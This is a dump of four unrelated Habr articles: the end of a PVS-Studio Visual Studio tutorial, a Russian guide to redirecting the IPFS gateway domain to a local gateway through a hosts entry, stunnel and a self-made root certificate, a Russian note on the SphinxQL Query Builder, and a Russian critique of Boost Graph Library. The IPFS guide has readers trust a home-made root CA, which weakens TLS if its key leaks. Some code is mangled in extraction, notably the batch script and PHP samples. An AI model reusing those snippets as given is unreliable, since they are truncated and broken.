2. Additional menu. Allows you to access options, such as marking the warning as false alarm, hiding messages, adding files to exceptions. We'll describe the latter below.
3. This button enables the "something went wrong" messages. For example, when one of the files cannot be preprocessed.
4. Go to the previous/next warning. This button opens the corresponding file, and the cursor is placed on a warning about the potential error. You can also double-click to select a diagnostic from the list. You can [assign keyboard shortcuts](https://pvs-studio.com/en/docs/manual/6522/) to go to the previous/next warning. It's Alt+'[' and Alt+']' by default.
5. Buttons that enable warnings on different levels. The picture shows that all the diagnostic levels are enabled. The window shows 312 warnings on the first level, 1354 warnings on the second level, and 1405 warnings on the third level. The warning's level is shown in the left part of the window in a form of string with the corresponding color.
6. Active sets of diagnostic rules. General — general diagnostics. Optimization — micro-optimization. 64-bit — 64-bit diagnostics, OWASP — warnings of the OWASP ASVS standard or related to the OWASP Top 10. Now, not all diagnostic sets are displayed in the window.
7. This button shows the number of [false positives](https://pvs-studio.com/en/docs/manual/0017/). You can enable/disable display of marked warnings in settings: Extensions > PVS-Studio > Options... > Specific Analyzer Settings > Display False Alarms.
8. Quick filters. You can, for example, leave only the V501 diagnostics in the XYZ project.
9. Some diagnostics suggest considering not one but several lines that can be in different files. In this case, three dots appear next to the file name. If you click on it, you can see the list of lines in files and choose one. When you double-click on the list element, you'll go to this line in a file.
The table with the analyzer warnings has the following columns:
* **Level.** This is a level of certainty that an error was found. 1st level (red) — the most suspicious places. 3d level (yellow) — most likely an insignificant inaccuracy in code;
* **Star**. It has no specific purpose. Users can interpret it as they want. For example, they can mark the most interesting warnings for further analysis. This is similar to marking letters with stars in mail programs like Thunderbird or Outlook.
* **ID**. A warning's unique number. It can be useful when you work with a long list. For example, you can go to the warning with a specific name (see the "Navigate to ID..." item in the [dropdown menu](https://pvs-studio.com/en/docs/manual/0021/)). You can disable this column with the context menu.
* **Code**. Warning's code. If you click on it, it will open a page with the warning description.
* **CWE.** Allows to identify a warning by [CWE ID](https://cwe.mitre.org/data/index.html) (Common Weakness Enumeration). If you click on the link, you can view this CWE description on the Web. You can disable this column with the context menu.
* **SAST.** The same functionality as above, but for the [MISRA](https://en.wikipedia.org/wiki/MISRA_C), [AUTOSAR](https://www.autosar.org/fileadmin/user_upload/standards/adaptive/17-03/AUTOSAR_RS_CPP14Guidelines.pdf), [SEI CERT](https://wiki.sei.cmu.edu/confluence/), or [OWASP](https://owasp.org/www-project-top-ten/) standards. You can disable this column with the context menu.
* **Message**. Text of the analyzer's warning.
* **Project**. Project's name. You can disable this column with the context menu.
* **File**. The file name. **Note!** Some file names have dots after them. For example: "FileName.cpp(...)". Click on the table cell with the file name, and you will get a list of all the code lines (these lines may be in different files) that relate to this warning. At the same time, it is possible to go to each of the lines in the list.
* **Line**. The number of a line to which the warning was issued.
* **FA**. It indicates that the analyzer warning is marked as [false positive](https://pvs-studio.com/en/docs/manual/0017/).
A long list. However, I assure you, once you try the tool, you'll quickly get used to it. You will rarely press any button to configure the analyzer.
#### Displaying Analyzer's Best Warnings
When you run the analyzer for the first time, the result may scare and/or confuse the developer — the analyzer's report may contain a huge number of warnings about potential errors and vulnerabilities. We took into account this scenario and added the Best Warnings mechanism to the plugin for Visual Studio. The button for enabling/disabling this mechanism is in the Additional Actions menu:
This mechanism calculates the best analyzer warnings using a number of criteria assigned to each diagnostic. You can find more information about this mechanism in the corresponding section of our [documentation](https://pvs-studio.com/en/docs/manual/6532/).
The analyzer's best warnings filter is designed for a more pleasant first acquaintance with PVS-Studio, so we do not recommend using it on a regular basis.
#### Dropdown menu
If you double-click on a warning, you go to the desired code fragment. If you right-click on a warning, you'll open the dropdown menu.
The menu is quite simple, so we won't overwhelm the article with its description. If something is unclear, you can look it up in the [documentation](https://pvs-studio.com/en/docs/manual/0021/).
Some items in the context menu have keyboard shortcuts, which allows you to process the analysis results more quickly and conveniently.
However, we should mention a very useful feature. Remember that in the settings you can add folders/files for exclusion. Adding something is much easier than it seems!
Note the item "Don't check files and hide all messages from...". If you click on it, it displays a list of paths that can be added to exceptions.
You can select one file or the whole directory. The picture shows that we chose the "Sources\Sandbox.Game\Game\Entities" folder. This means that all files in this folder and its subfolders are excluded from the analysis. Moreover, all the messages related to these files will immediately disappear from the list. You don't need to restart the analysis to remove all the messages related to test files.
### Incremental analysis mode
This article wouldn't be complete if we didn't tell you about [incremental analysis](https://pvs-studio.com/en/docs/manual/0024/).
The earlier we find an error, the lower the cost of fixing it. It's great to search for an error in the edited program code. However, it's technically difficult and resource-intensive. That's why PVS-Studio starts running in the background when the edited code is compiled. Thus, the analyzer searches for errors in the changed files. The icon in the system notifications area implies that the analysis is running in the background.
When it finds an error, a notification appears and warns the developer.
If you click on the notification or an icon, the IDE with the analysis result opens, and you can inspect suspicious code fragments.
Actually, rather than reading about this mode, you should try it. You write code as usual. The analyzer will disturb you only when it's necessary. Try it!
The PVS-Studio developers constantly use this mode. Yes, we make mistakes when coding, too. The ability to fix them immediately reduces the time spent on detecting an error and trying to understand why the program does not behave as intended. It's a shame to spend 15-20 minutes on debugging and then find a typo in an index. Here's one of the cases when the PVS-Studio analyzer found an error in itself right after it appeared in code:
```
if (in[0] == '\\' && in[1] == '.' && in[1] == '\\')
{
in += 2;
continue;
}
```
Of course, the most interesting is yet to come. The PVS-Studio analyzer can be much more useful. Here's a review about our analyzer: "[A user's experience of working with the analyzer](https://pvs-studio.com/en/blog/posts/cpp/0221/)". Read it, it's worth your time.
Let me summarize. Incremental analysis is something you should definitely try. You'll love it as soon as it finds a couple of errors in fresh code.
### Intermodular analysis
The PVS-Studio analyzer for C# is built on Roslyn API, which performs intermodular project analysis. It's a bit more complicated with intermodular analysis of C++ projects. That's why we only recently implemented this feature in PVS-Studio. Intermodular analysis allows the analyzer to collect information about the whole project instead of each separate file. This allows to increase the analysis quality and accuracy. More detailed information about the features of the intermodular analysis of C++ projects in PVS-Studio can be found in the article "[Intermodular analysis of C++ projects in PVS-Studio.](https://habr.com/en/company/pvs-studio/blog/572302/)".
### PVS-Studio diagnostic rules
Let's be honest. It's impossible to briefly describe all the diagnostics in our analyzer. You can find the full list of diagnostics and their description by following the link: [PVS-Studio Messages](https://pvs-studio.com/en/docs/warnings/). In this article we'll show you a table where diagnostics are grouped by type. Some diagnostics belong to more than one group. The grouping is very conventional. For example, a typo can cause the use of uninitialized memory. Some errors were excluded from this list — they are too specific. Nevertheless, this table demonstrates PVS-Studio's functionality.
As you can see, the analyzer shows its full power when searching for typos and copy-paste. It's good at finding the problems related to code security.
If you want to see how it works on real projects, visit the [error database](https://pvs-studio.com/en/blog/examples/) page. This database has errors that we found when checking open-source projects.
### SAST
PVS-Studio is a Static Application Security Testing (SAST) tool. The analyzer detects potential vulnerabilities in the project's code and shows the corresponding error identifier in a certain classification.
PVS-Studio supports the following [error classifications](https://pvs-studio.com/en/pvs-studio/sast/):
* [CWE](https://pvs-studio.com/en/pvs-studio/sast/cwe/);
* [SEI-CERT](https://pvs-studio.com/en/pvs-studio/sast/cert/);
* [MISRA](https://pvs-studio.com/en/pvs-studio/sast/misra/);
* [AUTOSAR](https://pvs-studio.com/en/pvs-studio/sast/autosar/);
* [OWASP](https://pvs-studio.com/en/pvs-studio/sast/owasptopten/).
You can enable the display of CWE/SAST codes by using the context menu and following this path: Show Columns > CWE / SAST.
Alternatively, you can enable it in the menu (Extensions > PVS-Studio > Display CWE Codes in Output Window / Display SAST Codes in Output Window)
MISRA/AUTOSAR/OWASP diagnostics are enabled separately in the settings:
You can read more about it [here](https://pvs-studio.com/en/pvs-studio/sast/).
### Checking projects from the command line
You can also run the PVS-Studio analyzer from the command line. To do so, use the PVS-Studio-Cmd.exe utility. Detailed information on the utility and its parameters can be found in the [documentation](https://pvs-studio.com/en/docs/manual/0035/).
This is how this utility looks like:
After execution, you receive a plog file with the report, the path to which we specified in the startup parameters. This report can be converted to other formats with [PlogConverter.exe](https://pvs-studio.com/en/docs/manual/0038/). To view the report in the IDE, just double-click on the plog file in explorer.
You can also open the report file in the extensions menu by following the path Extensions > PVS-Studio > Open/Save > Open Analysis Report...
### Suppressing false positives
Some warnings issued by analyzer will inevitably be false positives. There's nothing we can do about it. A static analyzer is just a program that does not have artificial intelligence and cannot accurately determine whether it has found a real error or not.
To fight false positives, the analyzer provides a set of different mechanisms. They are described in the following sections of the documentation:
* [fine tuning](https://pvs-studio.com/en/docs/manual/0017/);
* [a rough method](https://pvs-studio.com/en/docs/manual/0032/) that allows you to work only with warnings related to new or modified code.
### Conclusion
Of course, this is not even the half about our analyzer. If we start describing everything, then the article will turn into documentation. The goal was to show how easy it is to work with the tool within the Visual Studio environment. You can read about other environments and modes of operation in the documentation and other articles on our [website](https://pvs-studio.com/en/pvs-studio/). By the way, there are a lot of interesting things for developers there. Come visit.
Note that PVS-Studio doesn't work in the Microsoft environment exclusively. The analyzer also supports the Java language, works on Linux and macOS, can be integrated into CMake, and much more. Read more about it in [documentation](https://pvs-studio.com/en/docs/).
I wish clean code to you and hope you'd enjoy PVS-Studio. If you have any questions, we'll happily help you. [Contact us](https://pvs-studio.com/en/about-feedback/).
### Additional links
1. [Code review](https://pvs-studio.com/en/blog/terms/0073/).
2. [Static code analysis](https://pvs-studio.com/en/blog/terms/0046/).
3. [SAST](https://pvs-studio.com/en/pvs-studio/sast/).
4. [PVS-Studio: static code analysis technology](https://pvs-studio.com/en/blog/posts/0908/).
5. [Download](https://pvs-studio.com/pvs-studio/download/?utm_source=habr&utm_medium=articles&utm_content=visual_studio_2022&utm_term=link_download) and try PVS-Studio.
6. To discuss the price of the PVS-Studio analyzer for your team and how to purchase it: [Purchase a license](https://pvs-studio.com/en/order/).
7. [What's new in PVS-Studio in 2021?](https://pvs-studio.com/en/blog/posts/cpp/0905/)
8. [Questions](https://pvs-studio.com/en/blog/posts/0593/) frequently asked at conferences.
9. [How to introduce a static code analyzer in a legacy project and not to discourage the team](https://pvs-studio.com/en/blog/posts/0743/). | https://habr.com/ru/post/648373/ | null | en | null |
# Межпланетная файловая система — Локализуем глобальный шлюз или сайты в IPFS
Мы научимся переключать на свой локальный шлюз IPFS сайты, которые этого ещё не делают сами автоматически. Создадим им общий [SSL](https://ru.wikipedia.org/wiki/SSL) сертификат при помощи [OpenSSL](https://ru.wikipedia.org/wiki/OpenSSL) в комплекте со [Stunnel](https://en.wikipedia.org/wiki/Stunnel).
> Напоминаю: InterPlanetary File System — это новая децентрализованная сеть обмена файлами (HTTP-сервер, [Content Delivery Network](https://ru.wikipedia.org/wiki/Content_Delivery_Network)). О ней я рассказывал в статье ["Межпланетная файловая система IPFS"](https://habrahabr.ru/post/314768/).
[](https://habrahabr.ru/post/334584/)
Возьмём, к примеру, глобальный IPFS шлюз gateway.ipfs.io и перенаправим этот адрес на наш локальный IPFS шлюз.
Условие: У нас уже установлен и работает на стандартном порту 8080 IPFS шлюз.
1. В файл [hosts](https://ru.wikipedia.org/wiki/Hosts) добавляем домен который хотим загружать с IPFS шлюза.
```
127.0.0.1 gateway.ipfs.io
```
2. Устанавливаем и настраиваем [Stunnel](https://en.wikipedia.org/wiki/Stunnel).
[stunnel.conf](https://github.com/ivan386/stunnel-settings-for-ipfs/blob/master/stunnel.conf):
```
; Открываем дополнительный защищённый порт шлюза для того, чтобы сайты могли сами на него переключиться
[https gateway]
accept = 127.0.0.1:8443
connect = 127.0.0.1:8080
cert = stunnel.pem
TIMEOUTclose = 0
; Открываем стандартный порт 443 для HTTPS
[https]
accept = 127.0.0.1:443
connect = 127.0.0.1:8080
cert = stunnel.pem
TIMEOUTclose = 0
; Открываем стандартный порт 80 для HTTP
[http]
client = yes
accept = 127.0.0.1:80
connect = 127.0.0.1:443
```
Таким образом мы открываем 3 дополнительных порта (433, 8443, 80), которые подключают клиента к шлюзу IPFS.
3. Создаём сертификаты и ключи.
3.1. В директорию c конфигом копируем [makecert.cmd](https://github.com/ivan386/stunnel-settings-for-ipfs/blob/master/makecert.cmd)
```
echo off
%~d0
cd %~p0
set STUNNELBIN = ..\bin
set PATH=%STUNNELBIN%;%PATH%;
rem // Первый вызов openssl создаст ключ и корневой сертификат в формате PEM
rem // openssl попросит пользователя задать пароль, которым будет защищён ключ и при каждой новой подписи сертификата шлюза этот пароль потребуется
rem // Второй вызов openssl конвертирует сертификат из PEM в DER формат понятный Windows
rem // Корневой сертификат в PEM формате понадобится для Firefox
if not exist "rootkey.pem" (
echo [ req ] >openssl.root.cnf
echo distinguished_name = req_distinguished_name >>openssl.root.cnf
echo [v3_ca] >>openssl.root.cnf
echo subjectKeyIdentifier = hash >>openssl.root.cnf
echo authorityKeyIdentifier = keyid:always,issuer:always >>openssl.root.cnf
echo basicConstraints = critical, CA:TRUE >>openssl.root.cnf
echo keyUsage = keyCertSign, cRLSign >>openssl.root.cnf
echo [ req_distinguished_name ] >>openssl.root.cnf
openssl.exe req -newkey rsa:4096 -x509 -sha256 -days 5480 -config openssl.root.cnf -extensions v3_ca -utf8 -subj "/CN=127.0.0.1" -out rootcert.pem -keyout rootkey.pem
openssl.exe x509 -outform der -in rootcert.pem -out rootcert.crt
del openssl.root.cnf
)
rem // Теперь создаём ключ который будет использоваться шлюзом
if not exist "gatewaykey.pem" (
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out gatewaykey.pem
)
rem // Делаем запрос сертификата шлюза
if not exist "gateway.csr" (
echo [ req ] >openssl.req.cnf
echo req_extensions = v3_req >>openssl.req.cnf
echo distinguished_name = req_distinguished_name >>openssl.req.cnf
echo [ req_distinguished_name ] >>openssl.req.cnf
echo [ v3_req ] >>openssl.req.cnf
echo basicConstraints = CA:FALSE >>openssl.req.cnf
echo keyUsage = nonRepudiation, digitalSignature, keyEncipherment >>openssl.req.cnf
openssl req -new -key gatewaykey.pem -days 1096 -batch -utf8 -subj "/CN=127.0.0.1" -config openssl.req.cnf -out gateway.csr
del openssl.req.cnf
)
rem // Если это не первое выполнение данного скрипта, то в index.txt может храниться индекс следующей DNS записи.
if exist "index.txt" (
set /p index=openssl.cnf
echo extendedKeyUsage = serverAuth >>openssl.cnf
echo subjectAltName=@alt\_names >>openssl.cnf
echo [alt\_names] >>openssl.cnf
echo IP.1 = 127.0.0.1 >>openssl.cnf
echo DNS.1 = localhost >>openssl.cnf
set index=2
del "index.txt"
)
rem // В цикле добавляем в openssl.cnf домены, которые заданы в командной строке либо будут введены пользователем.
:NEXT
set /a aindex=%index% + 1
set /a bindex=%index% + 2
set domain=%1
if !%domain% == ! (
set /p domain=enter domain name or space:
)
if not !%domain% == ! (
echo DNS.%index% = %domain% >>openssl.cnf
echo DNS.%aindex% = \*.%domain% >>openssl.cnf
echo %bindex% >index.txt
set index=%bindex%
shift
goto NEXT
)
del gateway.pem
rem // Создаём сертификат IPFS шлюза
openssl x509 -req -sha256 -days 1096 -in gateway.csr -CAkey rootkey.pem -CA rootcert.pem -set\_serial %RANDOM%%RANDOM%%RANDOM%%RANDOM% -extfile openssl.cnf -out gateway.pem
rem // Записываем ключ и сертификат в stunnel.pem, который по умолчанию используется программой stunnel
copy /b gateway.pem+gatewaykey.pem stunnel.pem
rem // Даём пользователю прочитать ошибки или информацию
pause
```
3.2. Запускаем
```
makecert.cmd ipfs.io
```
При первом запуске данного скрипта будет создан корневой сертификат (rootcert.pem для firefox и rootcert.crt для остальных) — ключ, которому надо задать пароль. Корневой сертификат надо добавить в хранилище доверенных корневых сертификатов в браузере и операционной системе.
Далее автоматически будет создан сертификат для шлюза, которому надо задать домены, которые он будет обслуживать.
1. Перезапускаем stunnel
[reload.cmd](https://github.com/ivan386/stunnel-settings-for-ipfs/blob/master/reload.cmd)
```
echo off
%~d0
cd %~p0
set STUNNELBIN = ..\bin
set PATH=%STUNNELBIN%;%PATH%;
stunnel -install -quiet
stunnel -start -quiet
stunnel -reload -quiet
```
Теперь gateway.ipfs.io будет работать на локальном шлюзе. Аналогично можно поступить с любым сайтом, который размещён в IPFS.
Сайт для теста: [ivan386.ml](http://ivan386.ml)
GitHub: [Stunnel settings for InterPlanetary File System](https://github.com/ivan386/stunnel-settings-for-ipfs)
Источники:
1. [Своё Certificate Authority — в 5 OpenSSL команд](https://habrahabr.ru/post/192446/)
2. [A Web PKI x509 certificate primer](https://developer.mozilla.org/en-US/docs/Mozilla/Security/x509_Certificates)
3. man [stunnel TLS Proxy](https://www.stunnel.org/static/stunnel.html)
Другие мои статьи о "межпланетной файловой системе":
1. ["Межпланетная файловая система IPFS"](https://habrahabr.ru/post/314768/)
2. [Публикуем сайт в межпланетной файловой системе IPFS](https://habrahabr.ru/post/316468/)
3. [Хостим сайт в межпланетной файловой системе IPFS под Windows](https://habrahabr.ru/post/325176/)
4. [Больше нет необходимости копировать в сеть](https://habrahabr.ru/post/331010/) | https://habr.com/ru/post/331014/ | null | ru | null |
# Query Builder библиотека для работы с SphinxQL
Одна из самых важных задач стоящих при разработке сайта, это реализация полнотекстового поиска. Один из популярных и простых вариантов реализации, это использование Sphinx. На хабре уже есть посвящённые ему статьи, но не заслуженно не упомянута библиотека Query Builder. Это я и постараюсь исправить.
##### Введение
Одна из самых важных задач стоящих при разработке сайта, это реализация полнотекстового поиска. Один из популярных и простых вариантов реализации, это использование Sphinx. На хабре уже есть посвящённые ему статьи, но не заслуженно не упомянута библиотека Query Builder. Это я и постараюсь исправить.
Данный текст является вольным переводом статьи [«SphinxQL Query Builder for PHP»](http://sphinxsearch.com/blog/2014/10/20/sphinxql-query-builder-for-php/).
##### Почему его стоит использовать?
* Минимизируем риски от возможных sql инъекции против ваших индексов;
* Делает ваши запросы более читабельными и легче поддерживаемыми;
* Позволяет создавать более простые и гибкие запросы;
* Он имеет все функции реализованные в билиотеке Sphinx API и большинство функций используемых при работе с SphinxQL;
* Он был протестирован в нескольких версиях SphinxSearch и php.
##### Как установить?
Если вы используете Composer, то вы можете установить его следующей командой:
```
$ composer install foolz/sphinxql-query-builder --save
```
Или [клонировать](https://github.com/FoolCode/SphinxQL-Query-Builder) его из гитхаб репозитория.
##### Сравнение подходов
Пример без использования Query Builder:
```
php
$conn = new mysqli('localhost', null, null, null, 9306);
if ($conn-connect_error) {
throw new Exception('Connection Error: ['.$conn->connect_errno.'] '.$conn->connect_error, $conn->connect_errno);
}
$resource = $conn->query('SELECT * FROM anime_index WHERE MATCH(\'@character Asuka\') AND age BETWEEN 12 AND 19');
$results = array();
while ($row = $resource->fetch_assoc()) {
$results[] = $row;
}
$resource->free_result();
// Теперь, можно вывести массив с полученными результатами
var_dump($results);
```
А вот и кусок кода с использованием Query Builder:
```
php
use Foolz\SphinxQL\Connection;
use Foolz\SphinxQL\SphinxQL;
$conn = new Connection();
$conn-setParams(array('host' => 'localhost', 'port' => 9306));
$query = SphinxQL::create($conn)
->select('*')
->from('anime_index')
->match('character', 'Asuka');
// В отличии от предыдущего примера, вы с лёгкостью сможете изменить запрос
$query->where('age', 'between', array(12, 19));
// Массив с полученными результатами
$result = $query->execute();
```
Не правда ли гораздо нагляднее и проще?
##### Немного подытожим
Хоть мы и можем писать запросы используя MySQLi, но Query Builder позволяет писать более понятные и легко поддерживаемые запросы. Я думаю пример указанный выше очень наглядно это показывает. Больше примеров и документация по использованию библиотеки, вы можете найти на [гитхабе](https://github.com/FoolCode/SphinxQL-Query-Builder). | https://habr.com/ru/post/242077/ | null | ru | null |
# Моя жизнь с Boost Graph Library
Статья, первая часть которой здесь представлена, содержит различные соображения автора, накопившиеся в ходе длительной разработки специализированной системы поиска социальных связей, базирующейся на библиотеке Boost Graph Library (BGL). В этом (техническом) разделе суммируются впечатления автора от работы с этой библиотекой, поднимаются вопросы инструментовки при создании графовых приложений и затрагиваются некоторые практические проблемы метапрограммирования на C++.
### BGL и с чем его едят
[Шаблонная библиотека BGL](#P1) наверняка известна любому разработчику, сталкивавшемуся с графовыми задачами. Появившись в составе Boost 1.18.1 в 2000 году, она сразу же заслужила одобрительные отзывы таких классиков жанра, как Александр Степанов. Руководство к библиотеке, составленное Джереми Сиком, Лай-Кваном Ли и Эндрю Ламсдейном вышло в русском переводе в 2006 в издательстве «Питер» (оригинал – Jeremy G. Siek, Lie-Quan Lee и Andrew Lumsdaine, «The Boost Graph Library», 2001, Addison-Wesley). Библиотека интенсивно обновлялась и развивалась практически до конца 2013 года (Boost 1.55.0). В частности, в 2005 году появился анонс ее распределенной версии (PBGL), которая вошла в состав Boost с версии 1.40 в 2009 году и по сию пору остается чем-то вроде стандарта де-факто для графовых вычислений на высокопроизводительных кластерах, во всяком случае, в академическом мире. Насколько можно судить по истории коммитов, до 2005 года основным разработчиком библиотеки был Джерерми Сик, после 2005 – Дуглас Грегор (Douglas Gregor), а вообще в разное время над библиотекой работало немалое количество разнообразного люда. Посвященные ей публикации неоднократно появлялись и на habr.com: в первую очередь нужно отметить серию статей Вадима Андросова: [[1](https://habr.com/en/post/211558/), [2](https://habr.com/en/post/212089/), [3](https://habr.com/en/post/212871/)]. Таким образом, библиотеке в принципе посвящена хорошая и разнообразная литература, но собственная ее документация, также, вообще говоря, довольно обширная, несколько страдает из-за того, что:
1. Ее оглавление и корневые разделы, претендущие на то, чтобы давать исчерпывающий перечень ключевых сущностей, не изменялись с самого 2001 года. Например, автор этих строк, наивно поверивший, что: [> The BGL currently provides two graph classes and an edge list adaptor:
>
>
>
> adjacency\_list
>
> adjacency\_matrix
>
> edge\_list](https://www.boost.org/doc/libs/1_70_0/libs/graph/doc/index.html), спустя некоторое время с удивлением обнаружил реализованное еще в 2005 году представление compressed\_sparse\_row\_graph (разряженную матрицу). Аналогичная история имела место с алгоритмом Брона-Кербоша. Не верьте оглавлениям, используйте прямой поиск по заголовочным файлам;
2. Отсутствует единый комментированный перечень внутренних категорий библиотеки (container\_category, parallel\_edge\_traits, iterator\_stability и т. д., и т. п.), необходимых для реализации собственных представлений. Проблемы с пониманием происходящего настигают, видимо, всех пользователей библиотеки, желающих копнуть поглубже, что приводит к появлению «как бы работающего кода», доведение которого до вполне завершенного состояния отнимает много сил и времени: см., например, [типичное обсуждение](https://stackoverflow.com/questions/7584320/sorting-the-edgelist-in-boostgraph).
Количество категорий и разнообразных селекторов, в том числе схожих до степени смешения, настолько велико, что в них временами начинают путаться и сами авторы. Например, в конструкторах уже упоминавшегося выше compressed\_sparse\_row\_graph в текущей версии присутствует систематическая ошибка, приводящая к вылетам при попытках копировать ненаправленный список смежности:
Здесь можно по случаю отметить, что полное тестирование столь гибкого механизма представляет собой отдельную проблему, так как сопровождается комбинаторным взрывом числа возможных подстановок.
Нужно с сожалением отметить, что в настоящее время основные разработчики, видимо, утратили интерес к дальнейшей работе над библиотекой и последние шесть лет она, отнюдь не исчерпав потенциала своего развития и даже не освободившись вполне от внутренних несогласованностей и прямых ошибок, находится в свободном полете. Озвучивавшиеся в районе 2011 года планы по существенному расширению набора методов и покрытию новых областей теории графов (в том числе за счет добавления внутренней поддержки graph partitioning к возможности читать формат METIS) остались нереализованными. Представляется также, что библиотека могла бы многое выиграть (как минимум, в отношении читаемости) от широкого использования новинок, вошедших в стандарт после 2011 года.
Таким образом, вопросы выбора опорной библиотеки для графовых приложений при взгляде из 2019 года выглядят не столь однозначно, как хотелось бы, и за последние 5 лет неопределенность скорее возросла, чем уменьшилась.
Ситуация эта вызывает некоторую печаль, т. к. создание универсального механизма, подобного BGL, само по себе является своего рода интеллектуальным подвигом, и как по мощности подхода, так и по богатству арсенала реализованных универсальных методов (добрых полторы сотни однопоточных и пара десятков распределенных) библиотека, насколько известно автору сих строк, по прежнему не имеет себе равных.
На данный момент только эта библиотека принципиально позволяет без потери производительности, навязывания жестких соглашений по представлению данных и потери контроля над внутренними механизмами самой библиотеки, полностью развести графовые алгоритмы и графовые представления, дополнительно сделав последние вполне независимыми от представления метаданных, ассоциированных с ребрами и вершинами (что в принципе и является, очевидно, наиболее правильным способом ведения дел).
Слово «принципиально» здесь использовано не без причины. Рассматривая конкретную ситуацию на примере уже упоминавшегося выше многострадального класса compressed\_sparse\_row\_graph, можно отметить, например, следующие отступления от высоких стандартов:
1. Оператор [] для списка смежности и разряженной матрицы по-разному обрабатывают внутренние и внешние свойства ребер (Internal and Bundled Properties): первый возвращает только внешние свойства (внутренние доступны только при помощи property\_map), второй возвращает обрамляющую структуру property, содержащую общий перечень свойств.
2. Функция get для получения индекса ребра при помощи boost::property\_map::type попала в boost::detail, а не в boost, как во всех прочих случаях.
Наконец, в шаблоне compressed\_sparse\_row\_graph осталась нереализованной специализация для ненаправленного графа (boost::undirectedS).
В связи с этим при использовании свойства edge\_index (порядкового номера ребра) дополнительные сложности возникают из-за того, что для списка смежности данное свойство должно явно задаваться как внутреннее и как таковое может изменяться по произволу, но для ненаправленного графа его значение не зависит от направления, в котором проходится ребро. Для разряженной же матрицы (всегда направленной) оно является встроенной константной property\_map специального вида (вычисляющейся как индекс в массиве ребер). Соответственно, значения для встречных ребер (представляющих ненаправленный граф) не могут изменяться и всегда будут различными.
Все эти расхождения приводят к невозможности «простой замены представления графа на эквивалентное» при вызове алгоритмических функций, что существенно подрывает основное преимущество библиотеки. На практике в подобных случаях требуется либо избыточная специализация кода, либо его переработка для исключения элементов с различающимся поведением, либо такая подстройка шаблонов графов, чтобы они при различающихся определениях атрибутов «вели себя одинаково», либо, наконец, вынос из библиотеки отдельных файлов и создание «личной версии boost».
Дополнительно можно отметить следущие, не столь существенные, неудобства:
* Размерности внутренних дескрипторов графовых представлений оказывают существенное влияние на расход памяти, необходимой для хранения графа, а иногда и сказываются на производительности алгоритмов.
Некоторые представления (тот же compressed\_sparse\_row\_graph) позволяют управлять этими размерностями. Другие же (adjacency\_list) не имеют подобных параметров и всегда используют 64-разрядные целые (как правило, избыточные), заменить которые невозможно без модификации кода;
* Несмотря на то, что авторы библиотеки предусмотрели очень и очень многое, некоторые явно необходимые примитивы в библиотеку не вошли. Например, отсутствует функция наподобие reverse\_edge, выполняющая обращение ребра.
Реализация подобных функций, естественно, зависит от графового представления: в данном случае она может реализовываться тривиальным обменом элементов пары, более или менее эффективным поиском по контейнеру или вовсе отсутствовать. Конечному пользователю трудно разбираться во всем этом разнообразии вариантов, тем более, что согласно идеологии библиотеки, внутренние члены дескрипторов и не должны представлять для него интереса.
* Равным образом из библиотеки выпали некоторые далеко не бесполезные сценарии. Например, можно определить реберные предикаты, при помощи filtered\_graph превращающие ненаправленный граф в направленный, но нет возможности довести эту трансформацию до сведения библиотеки. Соответственно, штатные алгоритмы для направленных графов не будут компилироваться с таким объектом, а алгоритмы для ненаправленных графов будут работать с ним неправильно.
Где-то по соседству располагается тематика поддержки технически ненаправленных графов, имеющих на ребрах служебный маркер направления. Впрочем, повышенное внимание к такому представлению может быть связано с частной спецификой решаемых автором задач, и наличие широкого интереса к поддержке таких объектов неочевидно.
* Что касается функции reverse\_edge, взятой выше в качестве пример, то имеется и нисколько не невероятный вариант, что нужная функция присутствует где-нибудь в недрах библиотеки, но по каким-то причинам получила неочевидное имя. Это подводит к следующей проблеме, на первый взгляд несерьезной, но существенно замедляющей работу со сложными шаблонными библиотеками (не только BGL, хотя она по этому критерию явно находится среди лидеров): работать с обширными системами неявно увязанных между собой функций без явной типизации параметров и с неочевидной семантикой использования (зачастую тем менее прозрачной, чем более продуманной) физически трудно, и существующие среды разработки не оказывают в этом разработчику никакой поддержки:
В самом деле, автоматические помощники:
1. Рассчитаны в первую очередь на поддержку ООП, когда набор функций привязывается к объекту справа в соответствии с его типом. С глобальными функциями, которые могут стоять слева от типа (тем паче, набора типов) они помогают существенно хуже даже в том случае, если все типы известны.
2. До смешного не умеют работать даже с простыми шаблонами. Используемая автором версия визуального помощника, имея перед собой определение шаблонного класса с дефолтными параметрами, предлагает специфицировать «тестовую подстановку», чтобы иметь возможность сгенерировать подсказку для класса. Если пойти ей навстречу, не происходит ровным счетом ничего.
3. Еще того менее они способны разбираться в метапрограммных спецификаторах, даже простейших, таких, как enable\_if.
4. О типическом же сценарии: «мы находимся внутри шаблонной функции, вызывающейся из неопределенного количества неопределенной длины цепочек других функций, в том числе шаблонных», невозможно говорить без слез. В этом случае vim действительно остается лучшим другом программиста.
Другой аспект той же ситуации можно проиллюстрировать при помощи первой строки кодового фрагмента, изображенного на предыдущем рисунке. Читателю предлагается выполнить запросы «boost current time» vs «CRT current time» и сравнить результаты. Да, boost::date\_time (ныне частично переехавший в std) дает возможность правильно делать множество сложных вещей, в то время как CRT позволяет неправильно делать несколько тривиальных операций, но в повсеместно встречающихся простейших бытовых ситуациях CRT оказывается со всех точек зрения удобней, а многочленные конструкции вида posix\_time::second\_clock::local\_time (пример щадящий) тяготеют к превращению в кочующие по программе иероглифы. Лишите разработчика доступа к личной библиотеке таких иероглифов и [скорость разработки устремится к нулю](#P2).
Boost::string\_algo дает возможность делать со строками что угодно, но, положа руку на сердце, каждая не вполне тривиальная операция сопровождается сеансом повторного чтения документации для освежения общей логики библиотеки, наименований предикатов, а также отдельным упражнением по выяснению совместимости параметров. Схожая ситуация имеет место и с операциями токенизации в boost::regexp, при безупречной внутренней логике последних.
Коли такая ситуация имеет место с самыми общеупотребительными библиотеками, неудивительно, что BGL, как библиотека более специализированная, в которой к тому же имеются, например, функции make\_property\_map\_function и make\_function\_property\_map, не имеющие отношения друг к другу, а также сакраментальная функция get, перезагруженная на любое число аргументов любого типа, порождает те же проблемы, но в гипертрофированном виде. Да-с, любая задача может быть решена цепочкой вызовов get, но, увы, не каждая цепочка get решает данную задачу.
Читать такой код бывает легко и приятно, он даже может выглядеть как конспект формально записанного алгоритма на естественном языке, но при его написании сказывается невозможность заменять слова синонимами и т. п. проявления жесткости, для настоящего «естественного языка» нехарактерной.
